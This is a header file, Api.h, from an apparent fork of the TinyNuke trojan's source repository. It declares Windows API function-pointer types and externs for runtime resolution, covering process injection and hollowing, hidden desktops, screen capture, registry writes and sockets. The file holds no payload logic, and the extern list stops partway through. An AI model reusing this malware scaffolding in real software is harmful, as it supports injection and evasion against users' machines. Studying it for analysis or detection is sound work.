forked from rossja/TinyNuke
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Api.h
1417 lines (1404 loc) · 40 KB
/
Api.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#pragma once
#include "Common.h"
#define ENC_STR_A
#define END_ENC_STR
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
#define OBJ_CASE_INSENSITIVE 0x00000040L
struct CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread; };
typedef struct _PROCESS_BASIC_INFORMATION
{
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
namespace Types
{
typedef int (WINAPI *T_MessageBox)
(
HWND hWnd,
PCHAR lpText,
PCHAR lpCaption,
UINT uType
);
typedef UINT (WINAPI *T_GetWindowsDirectory)
(
PCHAR lpBuffer,
UINT uSize
);
typedef int (WINAPI *T_WideCharToMultiByte)
(
UINT CodePage,
DWORD dwFlags,
PWCHAR lpWideCharStr,
int cchWideChar,
PCHAR lpMultiByteStr,
int cbMultiByte,
PCHAR lpDefaultChar,
LPBOOL lpUsedDefaultChar
);
typedef HLOCAL (WINAPI *T_LocalAlloc)
(
UINT uFlags,
SIZE_T uBytes
);
typedef int (__cdecl *T_wsprintf)
(
PCHAR lpOut,
PCHAR lpFmt,
...
);
typedef int (WINAPI *T_MultiByteToWideChar)
(
UINT CodePage,
DWORD dwFlags,
PCHAR lpMultiByteStr,
int cbMultiByte,
PWCHAR lpWideCharStr,
int cchWideChar
);
typedef void *(__cdecl *T_malloc)
(
size_t size
);
typedef void (__cdecl *T_free)
(
void *memblock
);
typedef LPVOID (WINAPI *T_VirtualAllocEx)
(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *T_WriteProcessMemory)
(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
typedef HANDLE (WINAPI *T_CreateRemoteThread)
(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef HMODULE (WINAPI *T_LoadLibrary)
(
PCHAR lpFileName
);
typedef FARPROC (WINAPI *T_GetProcAddress)
(
HMODULE hModule,
PCHAR lpProcName
);
typedef BOOL (WINAPI *T_PathRemoveFileSpec)
(
PCHAR pszPath
);
typedef DWORD (WINAPI *T_GetModuleFileName)
(
HMODULE hModule,
PCHAR lpFilename,
DWORD nSize
);
typedef PCHAR (WINAPI *T_PathFindFileName)
(
PCHAR pPath
);
typedef int (__cdecl *T_strncmp)
(
const char *string1,
const char *string2,
size_t count
);
typedef int (WINAPI *T_lstrlen)
(
PCHAR lpString
);
typedef VOID (WINAPI *T_ExitProcess)
(
UINT uExitCode
);
typedef HRESULT (WINAPI *T_SHGetFolderPath)
(
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
PCHAR pszPath
);
typedef PCHAR (WINAPI *T_lstrcpy)
(
PCHAR lpString1,
PCHAR lpString2
);
typedef PCHAR (WINAPI *T_lstrcat)
(
PCHAR lpString1,
PCHAR lpString2
);
typedef BOOL (WINAPI *T_CopyFile)
(
PCHAR lpExistingFileName,
PCHAR lpNewFileName,
BOOL bFailIfExists
);
typedef BOOL (WINAPI *T_GetVolumeInformation)
(
PCHAR lpRootPathName,
PCHAR lpVolumeNameBuffer,
DWORD nVolumeNameSize,
LPDWORD lpVolumeSerialNumber,
LPDWORD lpMaximumComponentLength,
LPDWORD lpFileSystemFlags,
PCHAR lpFileSystemNameBuffer,
DWORD nFileSystemNameSize
);
typedef BOOLEAN (WINAPI *T_GetUserNameEx)
(
EXTENDED_NAME_FORMAT NameFormat,
PCHAR lpNameBuffer,
PULONG lpnSize
);
typedef BOOL (WINAPI *T_LookupAccountName)
(
PCHAR lpSystemName,
PCHAR lpAccountName,
PSID Sid,
LPDWORD cbSid,
PCHAR ReferencedDomainName,
LPDWORD cchReferencedDomainName,
PSID_NAME_USE peUse
);
typedef BOOL (WINAPI *T_ConvertSidToStringSid)
(
PSID Sid,
PCHAR *StringSid
);
typedef HLOCAL (WINAPI *T_LocalFree)
(
HLOCAL hMem
);
typedef void (__cdecl *T_memcpy)
(
void *dest,
const void *src,
size_t count
);
typedef int (WINAPI *T_lstrcmp)
(
PCHAR lpString1,
PCHAR lpString2
);
typedef PCHAR (WINAPI *T_StrStr)
(
PCHAR pszFirst,
PCHAR pszSrch
);
typedef long (_cdecl *T_strtol)
(
const char *nptr,
char **endptr,
int base
);
typedef void *(_cdecl *T_realloc)
(
void *memblock,
size_t size
);
typedef int (WINAPI *T_WSAStartup)
(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
typedef SOCKET (WINAPI *T_socket)
(
int af,
int type,
int protocol
);
typedef struct hostent* (WINAPI *T_gethostbyname)
(
const char *name
);
typedef u_short (WINAPI *T_htons)
(
u_short hostshort
);
typedef int (WINAPI *T_connect)
(
SOCKET s,
const struct sockaddr *name,
int namelen
);
typedef int (WINAPI *T_send)
(
SOCKET s,
const char *buf,
int len,
int flags
);
typedef int (WINAPI *T_recv)
(
SOCKET s,
char *buf,
int len,
int flags
);
typedef int (WINAPI *T_closesocket)
(
SOCKET s
);
typedef int (WINAPI *T_WSACleanup)();
typedef void *(_cdecl *T_memset)
(
void *dest,
int c,
size_t count
);
typedef VOID (WINAPI *T_Sleep)
(
DWORD dwMilliseconds
);
typedef NTSTATUS (NTAPI *T_NtOpenKey)
(
PHANDLE KeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
typedef NTSTATUS (NTAPI *T_NtSetValueKey)(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);
typedef BOOL (WINAPI *T_CloseHandle)
(
HANDLE hObject
);
typedef NTSTATUS (NTAPI *T_RtlCreateUserThread)
(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserved,
PULONG StackCommit,
PVOID StartAddress,
PVOID StartParameter,
PHANDLE ThreadHandle,
CLIENT_ID *ClientID
);
typedef BOOL (WINAPI *T_CreateProcess)
(
PCHAR lpApplicationName,
PCHAR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
PCHAR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef VOID (WINAPI *T_InitializeCriticalSection)
(
LPCRITICAL_SECTION lpCriticalSection
);
typedef VOID (WINAPI *T_EnterCriticalSection)
(
LPCRITICAL_SECTION lpCriticalSection
);
typedef VOID (WINAPI *T_LeaveCriticalSection)
(
LPCRITICAL_SECTION lpCriticalSection
);
typedef DWORD (WINAPI *T_GetLastError)();
typedef INT* (__cdecl *T_errno)();
typedef INT (__cdecl *T_tolower)
(
INT _C
);
typedef INT (__cdecl *T_isdigit)
(
INT _C
);
typedef ULONG (__cdecl *T_strtoul)
(
const char *Str,
char **EndPtr,
int Radix
);
typedef INT (__cdecl *T_isxdigit)
(
INT _C
);
typedef double (__cdecl *T_strtod)
(
const char *Str,
char **EndPtr
);
typedef HANDLE (WINAPI *T_CreateToolhelp32Snapshot)
(
DWORD dwFlags,
DWORD th32ProcessID
);
typedef BOOL (WINAPI *T_Process32First)
(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef BOOL (WINAPI *T_Process32Next)
(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef PTSTR (WINAPI *T_StrChr)
(
PCHAR pszStart,
CHAR wMatch
);
typedef int (WINAPI *T_StrToInt)
(
PCHAR pszSrc
);
typedef HMODULE (WINAPI *T_GetModuleHandle)
(
PCHAR lpModuleName
);
typedef DWORD (WINAPI *T_GetFileVersionInfoSize)
(
PCHAR lptstrFilename,
LPDWORD lpdwHandle
);
typedef BOOL (WINAPI *T_GetFileVersionInfo)
(
PCHAR lptstrFilename,
DWORD dwHandle,
DWORD dwLen,
LPVOID lpData
);
typedef BOOL (WINAPI *T_VerQueryValue)
(
LPCVOID pBlock,
PCHAR lpSubBlock,
LPVOID *lplpBuffer,
PUINT puLen
);
typedef BOOL (WINAPI *T_GetModuleInformation)
(
HANDLE hProcess,
HMODULE hModule,
LPMODULEINFO lpmodinfo,
DWORD cb
);
typedef int (_cdecl *T_memcmp)
(
const void *buf1,
const void *buf2,
size_t count
);
typedef DWORD (WINAPI *T_ExpandEnvironmentStrings)
(
PCHAR lpSrc,
PCHAR lpDst,
DWORD nSize
);
typedef DWORD (WINAPI *T_GetPrivateProfileSectionNames)
(
PCHAR lpszReturnBuffer,
DWORD nSize,
PCHAR lpFileName
);
typedef DWORD (WINAPI *T_GetPrivateProfileString)
(
PCHAR lpAppName,
PCHAR lpKeyName,
PCHAR lpDefault,
PCHAR lpReturnedString,
DWORD nSize,
PCHAR lpFileName
);
typedef HANDLE (WINAPI *T_CreateFile)
(
PCHAR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
typedef BOOL (WINAPI *T_ReadFile)
(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *T_WriteFile)
(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
typedef LONG (WINAPI *T_RegSetValueEx)
(
HKEY hKey,
LPCTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
BYTE *lpData,
DWORD cbData
);
typedef LONG (WINAPI *T_RegOpenKeyEx)
(
HKEY hKey,
PCHAR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
);
typedef LONG (WINAPI *T_RegCloseKey)
(
HKEY hKey
);
typedef DWORD (WINAPI *T_GetFileSize)
(
HANDLE hFile,
LPDWORD lpFileSizeHigh
);
typedef DWORD (WINAPI *T_ResumeThread)
(
HANDLE hThread
);
typedef BOOL (WINAPI *T_IsWow64Process)
(
HANDLE hProcess,
PBOOL Wow64Process
);
typedef void (WINAPI *T_GetNativeSystemInfo)
(
LPSYSTEM_INFO lpSystemInfo
);
typedef HANDLE (WINAPI *T_OpenProcess)
(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
typedef HANDLE (WINAPI *T_CreateThread)
(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef BOOL (WINAPI *T_GetUserName)
(
PWCHAR lpBuffer,
LPDWORD lpnSize
);
typedef BOOL (WINAPI *T_GetComputerName)
(
PWCHAR lpBuffer,
LPDWORD lpnSize
);
typedef BOOL (WINAPI *T_GetVersionEx)
(
LPOSVERSIONINFOA lpVersionInfo
);
typedef HANDLE (WINAPI *T_CreateNamedPipe)
(
PCHAR lpName,
DWORD dwOpenMode,
DWORD dwPipeMode,
DWORD nMaxInstances,
DWORD nOutBufferSize,
DWORD nInBufferSize,
DWORD nDefaultTimeOut,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
typedef BOOL (WINAPI *T_ConnectNamedPipe)
(
HANDLE hNamedPipe,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *T_DisconnectNamedPipe)
(
HANDLE hNamedPipe
);
typedef BOOL (WINAPI *T_InternetCrackUrl)
(
PCHAR lpszUrl,
DWORD dwUrlLength,
DWORD dwFlags,
LPURL_COMPONENTSA lpUrlComponents
);
typedef DWORD (WINAPI *T_GetTempPath)
(
DWORD nBufferLength,
PCHAR lpBuffer
);
typedef UINT (WINAPI *T_GetTempFileName)
(
PCHAR lpPathName,
PCHAR lpPrefixString,
UINT uUnique,
LPTSTR lpTempFileName
);
typedef HINSTANCE (WINAPI *T_ShellExecute)
(
HWND hwnd,
PCHAR lpOperation,
PCHAR lpFile,
PCHAR lpParameters,
PCHAR lpDirectory,
INT nShowCmd
);
typedef int (WINAPI *T_ioctlsocket)
(
SOCKET s,
long cmd,
u_long *argp
);
typedef u_short (WINAPI *T_ntohs)
(
u_short netshort
);
typedef HANDLE (WINAPI *T_CreateMutex)
(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
PCHAR lpName
);
typedef BOOL (WINAPI *T_ReleaseMutex)
(
HANDLE hMutex
);
typedef NTSTATUS (WINAPI *T_NtCreateThreadEx)
(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
ULONG StackZeroBits,
ULONG SizeOfStackCommit,
ULONG SizeOfStackReserve,
LPVOID lpBytesBuffer
);
typedef BOOL (WINAPI *T_TerminateProcess)
(
HANDLE hProcess,
UINT uExitCode
);
typedef HWND (WINAPI *T_FindWindow)
(
PCHAR lpClassName,
PCHAR lpWindowName
);
typedef DWORD (WINAPI *T_GetWindowThreadProcessId)
(
HWND hWnd,
LPDWORD lpdwProcessId
);
typedef DWORD (WINAPI *T_WaitForSingleObject)
(
HANDLE hHandle,
DWORD dwMilliseconds
);
typedef BOOL (WINAPI *T_EnumWindows)
(
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);
typedef DWORD (WINAPI *T_GetCurrentProcessId)();
typedef BOOL (WINAPI *T_DeleteFile)
(
PCHAR lpFileName
);
typedef BOOL (WINAPI *T_PathFileExists)
(
PCHAR pszPath
);
typedef BOOL (WINAPI *T_CreateDirectory)
(
PCHAR lpPathName,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
typedef BOOL (WINAPI *T_HttpQueryInfo)
(
HINTERNET hRequest,
DWORD dwInfoLevel,
LPVOID lpvBuffer,
LPDWORD lpdwBufferLength,
LPDWORD lpdwIndex
);
typedef NTSTATUS (NTAPI *T_RtlCompressBuffer)
(
USHORT CompressionFormatAndEngine,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
ULONG UncompressedChunkSize,
PULONG FinalCompressedSize,
PVOID WorkSpace
);
typedef NTSTATUS (NTAPI *T_RtlGetCompressionWorkSpaceSize)
(
USHORT CompressionFormatAndEngine,
PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize
);
typedef BOOL (WINAPI *T_SetThreadDesktop)
(
HDESK hDesktop
);
typedef HDESK (WINAPI *T_CreateDesktop)
(
PCHAR lpszDesktop,
PCHAR lpszDevice,
DEVMODE *pDevmode,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpsa
);
typedef HDESK (WINAPI *T_OpenDesktop)
(
PCHAR lpszDesktop,
DWORD dwFlags,
BOOL fInherit,
ACCESS_MASK dwDesiredAccess
);
typedef BOOL (WINAPI *T_TerminateThread)
(
HANDLE hThread,
DWORD dwExitCode
);
typedef BOOL (WINAPI *T_PostMessage)
(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
typedef HWND (WINAPI *T_ChildWindowFromPoint)
(
HWND hWndParent,
POINT Point
);
typedef BOOL (WINAPI *T_ScreenToClient)
(
HWND hWnd,
LPPOINT lpPoint
);
typedef BOOL (WINAPI *T_MoveWindow)
(
HWND hWnd,
int X,
int Y,
int nWidth,
int nHeight,
BOOL bRepaint
);
typedef BOOL (WINAPI *T_GetWindowRect)
(
HWND hWnd,
LPRECT lpRect
);
typedef UINT (WINAPI *T_GetMenuItemID)
(
HMENU hMenu,
int nPos
);
typedef int (WINAPI *T_MenuItemFromPoint)
(
HWND hWnd,
HMENU hMenu,
POINT ptScreen
);
typedef UINT (WINAPI *T_RealGetWindowClass)
(
HWND hwnd,
LPTSTR pszType,
UINT cchType
);
typedef BOOL (WINAPI *T_PtInRect)
(
const RECT *lprc,
POINT pt
);
typedef BOOL (WINAPI *T_GetWindowPlacement)
(
HWND hWnd,
WINDOWPLACEMENT *lpwndpl
);
typedef LONG (WINAPI *T_SetWindowLong)
(
HWND hWnd,
int nIndex,
LONG dwNewLong
);
typedef LONG (WINAPI *T_GetWindowLong)
(
HWND hWnd,
int nIndex
);
typedef HWND (WINAPI *T_WindowFromPoint)
(
POINT Point
);
typedef UINT_PTR (WINAPI *T_SHAppBarMessage)
(
DWORD dwMessage,
PAPPBARDATA pData
);
typedef LONG (WINAPI *T_RegQueryValueEx)
(
HKEY hKey,
LPCTSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
typedef HWND (WINAPI *T_GetDesktopWindow)();
typedef BOOL (WINAPI *T_DeleteDC)
(
HDC hdc
);
typedef int (WINAPI *T_ReleaseDC)
(
HWND hWnd,
HDC hDC
);
typedef BOOL (WINAPI *T_DeleteObject)
(
HGDIOBJ hObject
);
typedef int (WINAPI *T_GetDIBits)
(
HDC hdc,
HBITMAP hbmp,
UINT uStartScan,
UINT cScanLines,
LPVOID lpvBits,
LPBITMAPINFO lpbi,
UINT uUsage
);
typedef BOOL (WINAPI *T_StretchBlt)
(
HDC hdcDest,
int nXOriginDest,
int nYOriginDest,
int nWidthDest,
int nHeightDest,
HDC hdcSrc,
int nXOriginSrc,
int nYOriginSrc,
int nWidthSrc,
int nHeightSrc,
DWORD dwRop
);
typedef int (WINAPI *T_SetStretchBltMode)
(
HDC hdc,
int iStretchMode
);
typedef HGDIOBJ (WINAPI *T_SelectObject)
(
HDC hdc,
HGDIOBJ hgdiobj
);
typedef HDC (WINAPI *T_CreateCompatibleDC)
(
HDC hdc
);
typedef HBITMAP (WINAPI *T_CreateCompatibleBitmap)
(
HDC hdc,
int nWidth,
int nHeight
);
typedef HDC (WINAPI *T_GetDC)
(
HWND hWnd
);
typedef BOOL (WINAPI *T_IsWindowVisible)
(
HWND hWnd
);
typedef HWND (WINAPI *T_GetWindow)
(
HWND hWnd,
UINT uCmd
);
typedef BOOL (WINAPI *T_BitBlt)
(
HDC hdcDest,
int nXDest,
int nYDest,
int nWidth,
int nHeight,
HDC hdcSrc,
int nXSrc,
int nYSrc,
DWORD dwRop
);
typedef BOOL (WINAPI *T_PrintWindow)
(
HWND hwnd,
HDC hdcBlt,
UINT nFlags
);
typedef HWND (WINAPI *T_GetTopWindow)
(
HWND hWnd
);
typedef NTSTATUS (WINAPI *T_NtUnmapViewOfSection)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef NTSTATUS (WINAPI *T_NtQueryInformationProcess)
(
HANDLE ProcessHandle,
LPVOID ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef BOOL (WINAPI *T_GetThreadContext)
(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef BOOL (WINAPI *T_SetThreadContext)
(
HANDLE hThread,
const CONTEXT *lpContext
);
typedef int (WINAPI *T_SHFileOperation)
(
LPSHFILEOPSTRUCTA lpFileOp
);
typedef HANDLE (WINAPI *T_FindFirstFile)
(
char *lpFileName,
LPWIN32_FIND_DATAA lpFindFileData
);
typedef BOOL (WINAPI *T_FindNextFile)
(
HANDLE hFindFile,
LPWIN32_FIND_DATAA lpFindFileData
);
}
namespace Funcs
{
extern Types::T_CloseHandle pCloseHandle;
extern Types::T_MessageBox pMessageBoxA;
extern Types::T_GetWindowsDirectory pGetWindowsDirectoryA;
extern Types::T_WideCharToMultiByte pWideCharToMultiByte;
extern Types::T_LocalAlloc pLocalAlloc;
extern Types::T_wsprintf pWsprintfA;
extern Types::T_MultiByteToWideChar pMultiByteToWideChar;
extern Types::T_malloc pMalloc;
extern Types::T_free pFree;
extern Types::T_VirtualAllocEx pVirtualAllocEx;
extern Types::T_WriteProcessMemory pWriteProcessMemory;
extern Types::T_CreateRemoteThread pCreateRemoteThread;
extern Types::T_LoadLibrary pLoadLibraryA;
extern Types::T_GetProcAddress pGetProcAddress;
extern Types::T_PathRemoveFileSpec pPathRemoveFileSpecA;
extern Types::T_GetModuleFileName pGetModuleFileNameA;
extern Types::T_PathFindFileName pPathFindFileNameA;
extern Types::T_strncmp pStrncmp;
extern Types::T_strncmp pStrnicmp;
extern Types::T_lstrlen pLstrlenA;
extern Types::T_ExitProcess pExitProcess;
extern Types::T_SHGetFolderPath pSHGetFolderPathA;
extern Types::T_lstrcpy pLstrcpyA;
extern Types::T_lstrcat pLstrcatA;
extern Types::T_CopyFile pCopyFileA;
extern Types::T_GetVolumeInformation pGetVolumeInformationA;
extern Types::T_GetUserNameEx pGetUserNameExA;
extern Types::T_LookupAccountName pLookupAccountNameA;
extern Types::T_ConvertSidToStringSid pConvertSidToStringSidA;
extern Types::T_LocalFree pLocalFree;
extern Types::T_memcpy pMemcpy;
extern Types::T_lstrcmp pLstrcmpiA;
extern Types::T_lstrcmp pLstrcmpA;
extern Types::T_StrStr pStrStrA;
extern Types::T_StrStr pStrStrIA;
extern Types::T_strtol pStrtol;
extern Types::T_realloc pRealloc;
extern Types::T_WSAStartup pWSAStartup;
extern Types::T_socket pSocket;
extern Types::T_gethostbyname pGethostbyname;
extern Types::T_htons pHtons;
extern Types::T_connect pConnect;
extern Types::T_send pSend;
extern Types::T_recv pRecv;
extern Types::T_closesocket pClosesocket;
extern Types::T_WSACleanup pWSACleanup;
extern Types::T_memset pMemset;
extern Types::T_Sleep pSleep;
extern Types::T_NtOpenKey pNtOpenKey;
extern Types::T_NtSetValueKey pNtSetValueKey;
extern Types::T_RtlCreateUserThread pRtlCreateUserThread;
extern Types::T_CreateProcess pCreateProcessA;
extern Types::T_InitializeCriticalSection pInitializeCriticalSection;
extern Types::T_LeaveCriticalSection pLeaveCriticalSection;
extern Types::T_EnterCriticalSection pEnterCriticalSection;
extern Types::T_GetLastError pGetLastError;
extern Types::T_errno pErrno;
extern Types::T_tolower pTolower;
extern Types::T_isdigit pIsdigit;